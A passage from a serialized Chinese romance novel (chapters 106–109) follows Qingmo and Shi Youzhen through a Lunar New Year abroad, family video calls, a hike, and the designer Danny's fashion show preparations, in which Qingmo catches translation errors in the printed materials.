施友臻喜欢听她讲这些人间烟火,再平常的事情,清茉描述出来,也带上了色彩和文采,有了独属于林清茉的温度,清茉说着:“不考虑自己命运的时候,看看他们就觉得世界好大好大,容错率超乎我们的想象,可聚焦自己命运的时候,很多人都会觉得永远走不出围城,根本没有多少选择吧。” 咖啡馆的灯光光线柔和,清茉松弛慵懒地坐在那里喝咖啡,施友臻觉得很好看,她像带着柔光的温度。想留下她美丽的样子,施友臻就拿起手机拍清茉,清茉凑过去,问着:“突然偷拍我干嘛,给我,我看看好不好看。” 施友臻调出来照片,清茉点头表扬:“不错,好看,我眼睛这么大的吗?哥发给我,突然想起来,我今儿特意穿了这身,得给品牌再来个图文推广。” 施友臻略一犹豫,但还是没有多说,将照片原图传给了清茉,清茉今儿故意还是穿了上次品牌方的衣服,编辑了一条,想了想,没有写文字,只把图片发了上去,评论里带上了品牌商品链接,简单介绍了这个系列的名称。 手机放下没多久,少衡追过来电话,清茉举起来给施友臻看,施友臻无情说着:“不用接。” 清茉乐,问着:“干嘛欺负你弟弟。”她接起来,少衡控诉:“林清茉,你有空跟冬瓜约视频,就没空给我打个电话?你自己看看你的评论区吧,我哥就是故意的,你真是被他卖了还给他数钱。” 清茉疑惑:“说什么呢?” 少衡:“自己去评论区看,你刚发的那条。对了,待会跟冬瓜视频完了也给我视频一个,视频的时候不允许我哥出现在镜头内,好了,我先忙了待会见。” 清茉莫名其妙去看自己评论区,结果发现瞬间起了一栋高楼,那条评论写着:“有品,感谢博主的品牌推荐,已穿。”还配上了专门拍的自己衣服上品牌LOGO,下面留言又开始统一队形,都写着:“有品!感谢!已穿!” 清茉狐疑,抬眼看施友臻,琢磨了一番,试探问着:“上次整齐队形的楼,是融恒职员干的,这次也是?跟品牌什么关系?”她讲完,立刻意识到肯定有鬼,瞪圆眼睛问他:“你跟品牌合作?融恒给职工集体采购了品牌的衣服?好呀啊,大手笔啊,这个牌子一件不便宜吧,我想想,条件是什么?假装赞助我?” 施友臻忍笑,安慰道:“你那么认真产出内容,品牌方也没想到,前段时间他们老总刚跟我谈过,想跟你签长期推广约,问我意见,我说先问问你再定。” 清茉无语,又问:“所以,你在咱俩断联的时间里,整出个品牌方合作硬套我进去,等一下,款式都是你挑的?我穿着你挑的衣服,录制各种视频,再让你用超大荧幕循环播放着看?你好阴暗啊?哥!” 施友臻大方方道歉,并反将一局,说着:“你会收少衡的现金,但是不会收我的钱,而且如果我们没有在一起,这件事情大概不会被你发现,我以后也许会给你更多其他形式的帮助,只要我不想被你发现,就不会,有没有我这个人出现,都不会打扰你的生活。但是,”他停顿一下,说着:“但是,不管我在不在你身边,我都想让你过得好。” 清茉听了心软,说着:“好吧,被你讲成情话了,太会了哥,我心软了,暂时不追责。我先记在账上,以后不能这么干了听到了吗?” 施友臻:“嗯,是没有那种必要了。” 下山去小镇吃饭,路过旅游品纪念小店,清茉进去重新挑了几个可爱的小动物毛毡,送给施友臻,说着:“给,回去放你宝贝盒子里。” 施友臻笑:“谢谢。” 回酒店,清茉趁着酒店的边牧员工在外面玩,给冬瓜打过去视频,冬瓜爸爸立刻把冬瓜喊过来,清茉介绍了一番,两只小狗隔着视频相互观察,清茉感慨着:“这是失散多年的兄弟吧,跟冬瓜太像了,也都很聪明。” 施友臻先去餐厅点菜,清茉的视频他实在看过太多遍,菜单记得清清楚楚,桌上是熟悉的那套城堡定制白瓷餐具,施友臻给她添了一杯热红酒,是该好好庆祝新年了,这漫长的一年,终于过去了。 夜晚,窗景很美的酒店房间里,清茉端着热红酒坐在飘窗上,她佐餐喝了一杯,没有尽兴,回房间还想喝,就央求着施友臻又点了一杯。施友臻喜欢看她半醉非醉时候软绵绵勾人的模样,很软,很听话,怎么摆弄都可以,就允了她。 峡湾星星点点的灯光映在海水上,天上的星星,连着海里的星星,清茉问:“哥,你会不会无聊?” 施友臻过去握住她的脚丫,已经换了睡衣,清茉脚丫光着踩在飘窗毯子上,有些凉,他握在掌心,说着:“怎么这么问?” 清茉眼睛迷迷离离,软软地讲着:“因为总觉得你不是会有耐心看风景的人,哥,你美丽的大脑里是不是全部都是数据、表格、投资什么什么的,小时候你就不跟我们玩,我觉得一边爬山一边上昆虫课这么有意思的事,你竟然不参加,我当时是天大的不理解,我震惊之余送给你在山上捡到的蜗牛壳,记得吗?那次昆虫课刚下完雨,路边超多蜗牛壳。” 施友臻不否认:“我确实没太多耐心,不过那是对旁的人旁的事,有价值的人和事才值得付出感情和精力。林清茉,咱们刚刚正式恋爱没多久吧,就问有没有耐心这种事?你对我没信心还是对自己没信心?” 清茉乐:“哥,你怎么那么多谈话陷阱啊?好讨厌。”清茉软软地想抽出来脚丫,施友臻攥着她脚踝,把人拉到怀里,抱了起来。清茉问他:“那你得承认,我是超有价值的人。” 施友臻:“嗯,承认,超有价值。” 短途的旅行结束,飞回新家正好是除夕前一天,施友臻又去花店换了一批花,玫瑰花为主,老板给推荐了好多当地的品种,施友臻也买了些,回来整理完,好一个姹紫嫣红。卧室里仍旧放着一大捧最鲜明、最娇艳欲滴的红玫瑰,清茉闻着玫瑰花的清香味道,好像也爱上了来自鲜花的自然香气,整个家里生机盎然。 为了配合春节的氛围,清茉特意去华人商店买了写对联和福字的墨宝,有模有样地在家支开摊子,想着要写个什么内容的春联。 “春意已随杨柳动,东风先报杏花开。” 清茉先写了这句练笔,然后就停了笔,施友臻过来看,清茉说着:“太久没写,手生了。” 小时候清茉跟少衡跟着一个书法名家学了几年,俩人的字儿都学得有点像,他俩坐着磨屁股磨性子的时候,他哥的作品已经被名家夸奖进入另一个境界了。不过施友臻不会介意清茉写的丑,鼓励着:“不错。” 干巴巴的鼓励并没有让清茉振作,她盯着这两联,突然说着:“哥,汉语的意境魅力,真是妙不可言,我写这两句的时候,突然觉得自己身在异乡为异客,心境跟刚来的时候,完全不一样了。咱们那边,过完春节,就该开春了吧,野郊的山上很快就会开满桃花杏花,突然就很想念咱们那边四季分明的气候,以前不会想,可能觉得自己在那边没有家,哥,过了春节,我很想你怎么办?” 施友臻欣赏她文人墨客般的思乡文艺,但是讲话没有顺着她,很客观说着:“既然决定拿学位,肯定要坚持下去拿到。但是可以合理安排时间,能尽早毕业就尽早毕业,一年集中几个月把学分拿完,然后回国跟我待在一起。林清茉,你尽快安排好日程,比在这里对着墨宝抒情有用地多。” 清茉:“……”她强调:“哥,我在说我会很想你,这么无感的吗?” 施友臻:“所以我说,要尽快安排好学习日程,怎么,想让我出面跟你导师谈吗?很乐意效劳。” 清茉:“……那倒不用,我这点社交能力还是有的,哥,你好严厉哦,难道不应该哄着我回国嘛,你怎么不说一日不见如隔三秋?是不是在谈恋爱啊?” 施友臻:“与其中断学业让你以后有诸多抱怨的借口,不如押着你一定念完。” 清茉:“……” 除夕那天,清茉和好面醒上的时候,突然听到门铃声,施友臻过去开门,清茉喊着问他:“哥,谁啊?” 还能有谁,竟然是恩永。 恩永冲着施友臻嘿嘿笑两声,抱着一个箱子进门,喊着:“姐!我来了!” 清茉乐,问他:“你怎么来了?” 恩永进屋,问着:“姐,包什么馅儿的?我顺道买了点小烟花,给你们送来。大哥你别瞪我了,我放下烟花就走,约了朋友去海边玩,绝对绝对不打扰你们二人世界。”他说完,又风风火火跑出去了,清茉心软,打电话喊他回来一起吃水饺,恩永在电话那头嘿嘿笑,说着: “姐!新春快乐,今年很高兴能认识姐,以后我也愿意当姐的娘家人!朋友在车里等我呢,等我回程过来给你跟大哥拜年!我今儿看了,不是我爱吃的馅儿,年后我过来,姐你给我包我喜欢的。” 清茉喜欢恩永大大方方的性格,心里暖暖的,去翻看恩永带来的烟花,都是安全系数高的小型烟花,很适合在他们小院里燃放,清茉很喜欢,对施友臻讲着:“恩永是好孩子,请您给他升职加薪。” 施友臻:“林清茉,你过于好收买了。” 其实已经很久不守岁了,一个人生活的时候,这些仪式感没有意义。但是现在,清茉留着几盘水饺,在新年到来的凌晨煮上,跟施友臻在小院里燃放着小巧的烟花,手持烟花亮橘色的光团明明暗暗,碎金子一样的花火簌簌蹦跳,施友臻站在一旁拍下了这个画面,心里软地一塌糊涂,遥不可及的梦境照进现实,他说着: “茉茉,新年快乐。” “哥!新年快乐!” 第107章 第一百零七章 施家今年春节过得,那是…… 施家今年春节过得, 那是太不同以往了,施友臻的恋爱超乎所有人预期地高调,里里外外的人都知道他陷入了热恋, 不仅破天荒地休长假,甚至春节都不回老宅子,去海外找小女友去了。 甚至有人私底下酸溜溜地讨论, 说着那句文学名言:“情种只生在大富之家”。 年前亲戚间走动频繁,妯娌叔伯各种八卦, 当面的, 背面的, 传什么的都有, 问题是施友臻的高调, 是那种谁也管不着的高调,诸多人只敢背后嚼舌头,谁也不敢当面讲什么。一个个都好奇施爷爷的反应, 毕竟一旦牵扯到婚姻, 就会牵扯到财产分配,关于钱的事情, 再有钱的人家眼睛也瞪得像铜铃。 谁想到施爷爷故意不蹚浑水, 年前单独把施妈妈施爸爸叫到老宅子吃了个饭, 该讲的话都讲到位,施妈妈心里还是别扭, 但是也没再讲那些难听的。爷爷宣布他春节也要出去旅游, 去南方温暖的地方待一段时间,让少衡陪着过去。施爷爷发话让今年大家各自在各自的小家过,年后老大回来了再一起聚一聚。 年初一,清茉瞅着时差, 早早就提醒施友臻,要给长辈拜年,父母自然要问候,爷爷更要问候。可施友臻作为各种意义上的老大,在老宅子施爷爷的眼皮子底下还能装装样子,现在是天高皇帝远的温柔乡,他并不积极。 结果就是施爷爷的视频先打了过来,施友臻接起来,清茉偷偷猫在一旁暗中观察,听到施爷爷中气十足问着:“老大你小女朋友呢?怎么不给我拜年。” 施友臻连个前奏都没有,一听,直接把镜头对准了清茉。 清茉:“!?” 她赶紧换上最灿烂的笑脸,对着镜头甜甜打招呼:“爷爷好。” 爷爷也笑甜甜,对着漂亮女娃娃,连讲话声音都软和了,问着:“茉茉啊,新年快乐,好久不见,还记得爷爷吧,前段时间爷爷想去医院看望你,老大藏着你宝贝得很,不让我见,茉茉新年快乐。” 清茉赶紧替他哥道歉:“谢谢爷爷,爷爷新年快乐,我那次批评过他了,是他不对,我回去给您赔不是。” 爷爷乐呵:“不用不用,你来我给你包超级大红包。” 有人在旁边插话,喊着:“我也要。”一听就是少衡的声音。 爷爷又跟茉茉聊着年夜饭吃了什么,去哪里旅行了,这边气候怎么样,清茉乖巧坐直身子,乖乖小学生一样,一板一眼回答,施友臻在旁边看着,觉得实在可爱有趣,清茉紧张中带着真诚,真诚中带着假笑,倒是笑地挺灿烂,施爷爷问差不多了,那边的手机被少衡拿了过去,少衡问着:“不是说跟冬瓜视频完跟我视频吗?林清茉,我现在连条狗都不如吗?” 施爷爷在旁边抬手揍少衡,骂着:“跟你嫂子说什么浑话?” 这是他们三人之间第一次出现“嫂子”这个字眼,还是出自家族长辈施爷爷之口,一时间仨人都沉默了。 少衡微怔之后乐了,当着他俩的面儿跟施爷爷吐槽道:“嫂子什么啊嫂子,有人求婚吗?有人答应了吗?猴年马月呢吧。林清茉,我叫你嫂子你敢答应?怎么着,你想当我长辈啊?哎呀鸡皮疙瘩都起来了。” 林清茉后槽牙都咬紧了,但是在镜头前保持端庄,大气问候着:“少衡新年快乐哈,给您也拜年了。” 少衡一愣,也端庄了一点点,说着:“茉茉也新年快乐,我哥呢?哥,新年快乐。” 结束通话清茉拍着胸口缓气儿,但是少衡的话微妙地让他俩产生了一小会的沉默,各自想各自的,清茉打破这微妙的尴尬,找她哥算账:“你怎么不说一声就直接把镜头怼我脸上,吓一跳。幸好我早晨起来简单收拾了一下。” 施友臻早早就给清茉准备了全套新年新衣服,虽然是按照他的审美搭配的,清茉也觉得好看,里里外外从头到脚,施友臻变戏法似的从衣帽间里取出来,明显是新年的暖色调,清茉换衣服的时候问着:“哥,小孩子才过年穿全套新的吧,你连室内鞋都给我换了新的,好夸张,咱们搬家刚买的。” 施友臻不觉得过分,过年穿新衣是传统,他问清茉:“这不是应该的吗?” 清茉现在讲自己的事情也已经大大方方,说着:“哥,我给你科普一下挣月薪的工薪阶层,过日子固定开支项目很多,水电暖、餐费、交通费这些不用说,像我之前每个月要还房贷,年底呢,虽然会有小小的一笔奖金,不过买不买新衣服更多要看需求,也看心情,不会强求一定买,或者一定买全套。你给融恒职工们配发的福利,我还挺羡慕呢,要是我上班的时候年底收到这种奢牌的礼物,得老开心了,自己买件大牌衣服、买个贵一点的包,得攒好久。我哥真是好老板啊,给你鼓掌。” 施友臻以前肯定不问,现在好奇问着:“那你月薪多少?” 清茉说了个数,施友臻皱眉,不满道:“那家公司快倒闭了。” 清茉:“……” 他把清茉拉到眼前,拨着她转了一个圈,很满意自己挑选的新年衣服,点评着:“好看,小孩有的,你也都有。” 在一起的时间总是宝贵,可以什么都不做黏在一起,也可以一起去分享彼此的爱好。年初三的时候,清茉早早准备好徒步的装备,他们城市近郊就有一段有名的朝圣徒步路线,车开到教堂,走一小段就到。施友臻不让清茉走太远的距离,她就选了难度系数最低的一小段,以要多晒晒太阳的名义,想带她哥体验一下,上午过去,下午就能回来,就是参观。 清茉都觉得难度系数低,对于施友臻来说,那就是太容易了,简直就是饭后散步。不过他喜欢听清茉边走边回忆,讲着她独自走这段路时发生的故事,快到终点的时候,清茉指了指前面,说着:“哥,那边大树旁有个盖章的老爷爷,也卖纪念徽章,可以用钱买,也可以讲一个故事,用自己的故事换一个徽章。” 施友臻问她:“你是用钱买的,还是故事换的?” 清茉:“你猜。” 施友臻:“故事换的。” 清茉摇头,说着:“只盖了章,没留下故事。”看着施友臻的眼睛,知道他心里想什么,补充道:“因为觉得没什么可说的,自己走的时候,不想开口讲话,也没有分享的YU望,不过现在我可以过去讲一个,哥,等我一下,我给你换个徽章去,工薪阶层就是这么精打细算,我哥想要,我哥得到。” 清茉又去跟老人打招呼,问着现在还能不能用故事换徽章,老人热情欢迎,清茉想了想,说着:“我们的故事好像不复杂,小时候就认识,分开了很久,再见面的时候好像一开始就喜欢上了对方,但是都不敢承认,后来被命运敲打了一下,我们就在一起了。” 她自己讲完,都觉得文学艺术性太差,好像并没有太过于打动人心的地方,清茉回头问施友臻:“怎么办哥?是因为用外语说,所以描绘不出来咱们那种感觉吗?我讲的好无趣,我们这么无趣的吗?” 施友臻笑而不语地看着她,几分慌张的模样好可爱。 清茉忐忑地问着老爷爷:“这种故事能获得徽章吗?不是编造的故事,是真的。” 老人了然,估计听惯了一路上旅人们的故事,说着:“大家概括幸福的故事,总是很快,很简短,像童话书的最后一段:王子和公主从此快乐地生活在一起。你看,连皇室都是这么一句简单的话,毕竟幸福和快乐的来源,有很大的同质性,所以这样也很好,去挑选吧,美丽的姑娘,你看上去比上次快乐多了,祝你们幸福。” 清茉没想到老爷爷还记得她,拉住施友臻的手,说着:“谢谢您的祝福。” 清茉把徽章别到施友臻的包带上,嘱咐着:“哥,你的宝贝箱子里宝物+1,收好了,以后我要检查。” 施友臻笑:“谢谢。” 假期结束的前一天,清茉从早晨开始就缠着她哥,赖在床上,在他身上滚来滚去,起床贴在他后背上,他走一步她跟一步,坐在沙发上要拉着他的手,施友臻当然受用,该亲亲该抱抱,将清茉小孩子似的纯洁缠人逗弄升级为成人级别。 清茉求饶半晌,喘气儿的时候说着:“哥,你的分离焦虑,好像传染给我了,怎么办,一想到明天你要飞回去,我坐立难安,心里好空。” 施友臻仍旧有秋后算账的气势,反问她:“你自己选择的路,怎么,不满意?” 清茉:“……” 她也没想到施友臻对待学业会是严厉Daddy的模样,硬气道:“肯定会念完,你等着。” 千万般不舍,还是到了机场送别,临别清茉又强调着:“哥,下次轮到我飞回去,咱们说好了,一人一次。” 施友臻应着,亲吻了清茉的额头。 清茉开车从机场回来,家里一下子空落落,四处还都是施友臻的气息,清茉趴到主卧的床上,感觉被抽走了灵魂,这就是恋爱的感觉吗?明明之前半年不见也就不见了,现在刚分开几个小时,就已经开始疯狂想念,心情超低落。 这样不行,清茉立马约了导师,未来的学业,大概要重新规划时间了,最起码今年的一些学术行程得再调整一下。好不容易迎来的一份感情,清茉想好好经营,好好珍惜,总不能只有一方付出,另一方只享受。 家里的花又要新换一轮,施友臻给清茉的小家订了长期鲜花服务,花店老板会上门送最新鲜的玫瑰,还有当地应季的各种花草,清茉在小院里打理鲜花的时候,围墙外突然有人吹了轻俏的口哨,清茉警惕地望过去,定睛认了一会才确认是谁,确实是意外访客。 是丹尼。 清茉赶紧去开门,问着:“哎,你怎么来了?” 丹尼:“六六说你搬到新家了,我正好在这边参加时装周,顺便给你暖暖房。” 清茉迎他进来:“谢谢你丹尼,快来,伟大的设计师先生正好帮我升级一下。” 虽然六六跟丹尼已经分开,合作关系应该还不错,而且对于清茉来说,永远感谢丹尼在关键时刻果断全款现金买下了房子,一环扣着一环,没有转机的事情,也都迎来了转机。只是后来还是碍于六六,清茉跟丹尼没有什么联系了,六六对丹尼把房子卖给施友臻的事情,也有微词,觉得丹尼过于会做人了,可对于清茉,也是另外一个转机。 丹尼给清茉带了很精致的一套咖啡杯,进房子参观了一圈,评价很高,说着:“完美,不需要我画蛇添足,茉茉,要不要来我时装周玩?我来之前就琢磨,有套衣服,专业模特穿不出文雅古典的气质,要不要来拍摄?我今天说实话有目的性才来,不然也不太想打扰你。” 清茉拒绝着:“你可别提了,上次拍摄的那套,是不是让我哥全部买断了,他现在不一定同意了。” 丹尼听着这个答案也不意外,慢悠悠喝着茶,说着:“可以理解,毕竟高嫁之后肯定要迁就强势的一方,什么能干什么不能干,都不是自己说了算,施总介意就算了。” 丹尼讲的话不好听,清茉听到心里,挺介意,反驳着:“也不是迁就强势吧,总会考虑一下对方的感受。” 丹尼点头:“嗯,看个人理解吧。茉茉,是不是女孩,很容易陷入恋爱脑,我不介意六六结婚,真的,比起恋人关系,我其实更看重她的经营能力。结果她认为她的结婚对象会介意,就结束了跟我的合作,你们有句话讲的真是一模一样。” 丹尼模仿着六六的语气,说着:“抱歉丹尼,但是我要考虑一下他的感受。”模仿完,丹尼翻了个白眼,继续吐槽着:“结果呢,六六没跟你讲吧,她新合作的设计师就是江湖骗子,六六的货一个季压着一个季,根本卖不出去。” 丹尼说:“我这行,见过太多太多优秀女性的婚后生活,说白了就是磨平一切,美丽也没了,独立也没了,灵气也没了,泯然众人矣。” 第108章 第一百零八章 要是旁人讲这些话,清茉…… 要是旁人讲这些话, 清茉肯定当成耳旁风,但是因为是丹尼,清茉就有点上心。怎么说呢, 丹尼好像有点玄学在身上,虽然清茉跟他不是那么铁的朋友,但他在关键节点总是发挥关键作用, 挺玄乎的。 清茉看他一副真理在手的拽样子,越看越不顺眼, 使唤他当劳力, 让丹尼帮她把里里外外的鲜花一起打理, 丹尼某方面性格不错, 喜欢侍弄这些漂亮的东西, 他插花的配色思路是艺术家的大胆发散,原本看着不搭的色彩,到他手里就碰撞出了惊艳又和谐的颜色组合。 清茉心里百转千回, 说着:“为了感谢伟大的设计师丹尼帮我插花, 我去你那边看看?丹尼,你这次是带着自己的品牌来展示吗?” 丹尼正给清茉往卧室里放花, 说着:“有我的一个系列大秀, 还带着学院的学生一起过来了, 他们参加街头的一些艺术展示单元,我现在聘上副教授了哦。这是你衣帽间吗?介意专业人士进去参观一下吗?” 征得清茉同意后丹尼进了衣帽间, 瞧着清茉的衣服, 一脸欲言又止,清茉乐,问他:“你就有话直说,能憋住一句话就不是你了。” 丹尼抱着胳膊看看男装区, 又一脸嫌弃地瞧着女装区,说着:“这肯定都是施总给你配的衣帽间吧,完全是他的审美对不对,你就是被从衣帽间开始抹杀个性的,我猜猜,是不是还觉得甘之如饴。”他又开始模仿起茉茉,装腔作势拿捏道:“都是老公挑的,哇,好有爱,他好爱我,都是好贵好贵的奢牌哦,当季算什么,我老公能给买到超季呢!” 清茉扔过去一个抱枕揍他,丹尼一脸嫌弃从衣帽间出来,清茉笑:“你怎么不去组织个妇女觉醒运动?” 丹尼白了一眼:“茉茉,咱不能因为自己底子好,穿什么都好看,就这么随便,你想想你以后是什么,是手里掌握超级财富的伟大的融恒集团女主人,你既可以是一个被他当成换装游戏打扮地漂漂亮亮的金丝雀,也可以是独树一帜引领风骚的时尚女性,我的朋友,走,带你去吃饭,顺便看看我最新的设计,有缘分的话,你自然会被我的设计打动,到时候咱听从你心里的召唤,你尽管拍,我先斩后奏抢发,施总追责就追我的责任喽。” 清茉:“……” 丹尼早就看上茉茉的车了,拉她出门就说着:“给我开开,我一直想买这辆,都提不到车,啧,三十年河东三十年河西,我的朋友,羡慕你的一切!我跟你说,你可千万别浪费这么好的际遇,这年头再去信什么蒲苇韧如丝磐石无转移,那就是傻X,咱们得借势造势,一飞冲天。食品都有最佳赏味期,人就没有吗?啧,我的妹妹,你可别犯傻。” 清茉突然提问:“你怎么会说,巧舌如簧的副教授丹尼先生,六六怎么还是去跟老焦过啊,老焦挺传统的吧,我是真没想到他们能结婚。” 一问把丹尼问哑火了,半晌才憋出来一句:“感情不就是那么回事儿嘛,世上最不缺钻牛角尖儿的人,只能说,尊重他人命运吧。” 清茉:“我怎么觉得跟你坐一块儿,对六六有种背叛感。” 丹尼无所谓道:“嗨,哪儿那么苦情,咱俩单论咱俩的,我前几天给了六六一套设计,免费给了,她愿意挂我的名儿去推就挂,想隐去也无所谓,我是不愿意看她好不容易打下的江山一夜完犊子,老子人美心善,不计前嫌。” 清茉:“好假,我不信。” 丹尼:“是真的好吧!不信你问她!算了别问了,她随意吧,我仁至义尽了,给完设计的时候说实话我也松口气,就感觉,是真的缘分到头了,以后估计桥归桥路归路,不会再有交集了。茉茉你能懂吗?就是她突然决定分手,我也挺无语,心里老是觉得别扭,一别扭就放不下,心里疙瘩,出国前我约她见了一面,真的,白送了她一套设计之后,我心里老痛快了,我自由了,一身轻松。” 清茉倒是理解,无牵无挂觉得自由的时候,那份感情是真的云消雾散了。 丹尼的系列大秀下周正式开始,他提前带团队过来筹备,团队里也都换了一波新人,都是生面孔,临时租用了一个仓储空间,丹尼工作室的人,还有学生团队的人,都乌泱泱挤在里面,还堆放着很多物料、行李、衣箱。 丹尼路上介绍过,他这次的系列设计用了四大秀的秀法元素,为了更好地展示,还请了一组非遗传承人过来,几位非遗老师这会也在,丹尼带清茉过去打招呼,他被事务绊住,跟老师们和工作人员开始讨论活动环节,让清茉先随意参观。 正好工人把秀场要用到的氛围布置材料运过来,其中几块展板横在那里,上面是简介文字,清茉开始看上面的介绍文本。丹尼这次的设计主推了四大名绣,只是图案没有用写实的传统纹样,很大胆地采用了线条、图案和光影变形,传统纹样里的一些图案,提炼出来的设计秒杀各种老花纹样,配色也是。 清茉觉得丹尼这个想法很好,传统审美的现代表达和国际传播,是很好的选题。 不过,清茉读着读着觉得不对劲,传统非遗类的翻译本来就很难,一些专业术语很讲究,不知道丹尼找谁翻译的,有些专业名字都没有翻译正确,里面的语法语序也有些问题,有几个单词明显用错了,抬眼瞧着丹尼走了过来,清茉指了出来,翻译成英文和中文给丹尼解释,确实词不达意,丹尼听了两眼一黑,冲着他的团队咆哮道:“到底有没有校审!谁负责给专家审稿!” 一个年轻的女孩脸色煞白地举手,声音都发抖了,说着:“找外院安教授推荐的公司翻译的,出稿后也找安教授审过稿。” 现场紧急查看了所有宣传印刷品,都有问题,丹尼气得脸都涨红了,英文翻译的话他都会仔细过一遍,这次用了其他语言,只能依靠外请的翻译,要不是清茉来看到,估计就直接用了,清茉瞧着他着急,说着:“这不是还有时间嘛,改过来就好了。” 丹尼无语:“我去哪儿找工厂加急出啊?我的天,丢人丢大发了,怕什么来什么,这还找学校里外文教授的团队给翻译的,我找AI得了,干什么事儿都别找熟人,收费还那么贵,气死我了。” 清茉瞧着他一大屋子人,都紧张地面面相觑看着丹尼,海外办事儿不容易,清茉有点后悔自己多事儿,但是有错误瞧见了又不能不说,她想了想,说着:“那你等等,我打个电话请示去。” 她走出去,自然打给她哥的,施友臻接起来,清茉先撒娇说着:“哥,我已经超级无敌想你了。” 施友臻大方方说着:“嗯,我也是。” 清茉听着他这么讲,还是会心跳加快,脑子里被电地空了一下,缓口气儿才说着:“方便通话吗?哥,回去是不是特别忙。” 施友臻确实正在跟旁人谈事情,但是清茉的电话当然可以接,说着:“方便。” 清茉组织了下语言,汇报着:“丹尼过来了,带着工作室团队还有他的学生,好多人挤在一起筹备下周的秀场,刚才我过来看,还发现他们宣发材料写错了,需要重新设计印刷,哥,我可以借用融恒办事处的大楼给他们用一周吗?加急出印刷品的话,我可能需要恩永跟融恒这边的工作人员帮帮忙。” 施友臻应着,说着:“当然可以。” 清茉犹犹豫豫,还是请示着:“丹尼讲,这次有套系列,很适合我,哥,我要是拍摄的话,你会不会不同意?” 施友臻那边沉默了一小会,明显是站起来的动静,清茉有些紧张地等着施友臻的答复,丹尼真是挑拨离间的好手,把刺儿扎人心里,只管埋,不管拔。 施友臻说着:“我需要先看设计,你呢?想拍摄吗?” 清茉:“我也还没看到设计成品,想先问问哥,你要是不同意的话,就算了,毕竟是要面向公众推出的宣发,要是有什么舆情,怕给哥添麻烦。” 施友臻嗯了一声,清茉心里想着,果然还是会介意,刚有点心情低落,没想到他哥说着:“先看设计,再看你意愿,丹尼的作品很优秀,我看好他的发展,跟你契合的话,可以大胆尝试。林清茉,跟我谈恋爱,可以大胆一些,尝试你喜欢的事情。就算出了舆情也无所谓,我会解决舆情,而不是先解决你。” 清茉听着那句“我会先解决舆情,而不是先解决你”,眼睛有点酸,有点委屈地说着:“嗯……哥,我好想你。” 工作时间的施友臻再次是严厉Daddy角色,说着:“光嘴上说有什么用?赶紧排好你自己的事情。” 清茉马上道:“知道了,谢谢哥!” 清茉打给恩永,这家伙那边竟然还是呼啸的海风声音,清茉难以置信问着:“不是,弟弟,这都几号了?你还在度假吗?” 恩永乐:“当然了姐,只让州官放火不许百姓点灯吗!我大哥回去了吧,我明儿顺路去你家,姐,我要吃韭菜鸡蛋馅儿的水饺!这次专门给我包了吧!” 融恒这边的派驻机构现在是恩永负责管理,清茉把丹尼的情况说了,问着:“需要搬到咱们大楼里用一下空房间,也需要联系能加急的厂家重新做背板,恩永,有戏吗?会不会很麻烦?” 恩永对艺术活动也很好奇,说着:“这麻烦什么,包我身上,那姐,我现在开车回去吧,你先让你朋友收拾着,我联系货车去接你们,我开回去大概三个小时,姐等我!” 清茉:“不是,你甭急,该度假度你的。” 恩永:“难得为我姐效力,在穿衣服了,跟我美丽的海滩说再见,回去见我更美丽的姐!等我!” 恩永总有一种青春阳光大男孩的活力,清茉还是觉得施家培养的男孩子很好,面对问题正向输出,积极想办法解决,恩永也是,少衡也是,她的恋人更是。 跟恩永通话完,施友臻又追过来一通电话,清茉以为他反悔,紧张地接起来,问着:“哥,怎么了?” 施友臻:“跟丹尼合作,多长个心眼,不能出白工。我建议你可以尝试争取合伙人的身份,具体投入再跟我详谈,林清茉,资本积累的机会很多,不要浪费自身的优势,你要想丹尼为什么专程上门找你,好好观察一下,丹尼也是聪明人。” 清茉一怔,她是真的没想那么多,施友臻又补充了一句:“你欺骗我的时候,不是编了一份感兴趣的留学专业目录吗?还记得吗?上面很多艺术领域,既然内心有渴望也感兴趣,不如就利用丹尼去试试。” 清茉听着施友臻翻旧账,有点心虚,哄着:“还是哥厉害,我仔细想想。” 魔高一尺道高一丈,丹尼在背后蛐蛐施友臻的时候,估计想不到自己会就这么被算计上了,清茉觉得好笑,她还真没想这么多,丹尼有一点没说错,她哥看来是真的介意,不过介意的点儿不是清茉抛头露面,而是丹尼又来找她。既然来了,就都别白来,不白来,都不白来。 第109章 第一百零九章 丹尼要取出成衣给清茉看…… 丹尼要取出成衣给清茉看, 清茉阻止,说着:“你等会再拆箱吧,我给联系了个宽敞的地儿, 整个二层三层的办公空间你们都能用,还有一周多的筹备时间,这么多人乌泱泱挤在这里工作效率也低吧。” 丹尼当然高兴, 问着:“不当家不知道柴米贵,茉茉我要负担所有人的吃住行哎, 租这儿都老贵了, 你给找的哪儿啊?临时能有这么多空间?” 清茉好像还不太适应使用施友臻的资源, 有点不好意思说着:“融恒在这边有个派驻机构的大楼, 但是前段时间合并机构, 这边合并到别的国家了,就留了几位办公人员,大楼空着呢, 我哥说可以随便用。” 丹尼反应了一下, 才问着:“你哥?施总啊!茉茉,答应我, 我们做一辈子的好朋友好吗?” 清茉想着施友臻的嘱咐, 跟丹尼说着:“也不能白嫖, 我先看看你作品,咱们可以商量地长远一点。对了, 机构负责人叫施恩永, 其实是欧洲海外业务的负责人,他正好在南面海边度假,一会也过来。” 丹尼给清茉鼓掌,说着:“范儿, 就是这个范儿,干得漂亮妹妹。茉儿,我说个事儿你甭觉得我迷信,其实这次出来作秀场,我心里挺打鼓,什么什么都乱糟糟,我又得负责这一大帮子的人,我作品本身肯定没问题,酒香也怕巷子深,总觉得展示效果不如预期,我怕别人get不到美,你猜怎么着,我收拾东西的时候,你拍摄的那套画册,从柜子顶上滑落下来砸我头上了,我心里一激灵,赶紧跟六六打听打听,正好是一个城市,离得还不远,你说说,这是不是冥冥之中。” 清茉:“……”她突然追问了一句:“六六还好吧,没说什么?就把我地址给你了?” 丹尼解释着:“六六你还不了解,洒脱着呢,我跟她也说了想找你继续合作拍摄,她都知道,你甭觉得心里是个事儿。” 恩永联系的货车过来的时候,丹尼简直要感动地泪牛满面,清茉在一旁默默观察,丹尼不仅要做团队的创作核心灵魂,也要做事无巨细操心的老妈子,清茉作为曾经大公司综合办公室的业务大拿,看了一会实在看不下去,拍了拍丹尼肩膀,说着:“丹尼教授,您负责你工作室的人,清点好你的作品,都编好号码,宣发物料作废的留在这里,待会再清运,非遗老师们和您的学生我帮你组织,学生有负责牵头的孩子吗?” 丹尼喊过来一个女孩,介绍着:“玲玲,我带的研究生,让她来拢。”清茉比划了一个OK,说着:“那赶紧的吧,争取今天转移过去,玲玲跟我来,你们一共几个学生过来?” 玲玲也是第一次出来,小孩紧张又朝气地大声报数,说着:“八个!” 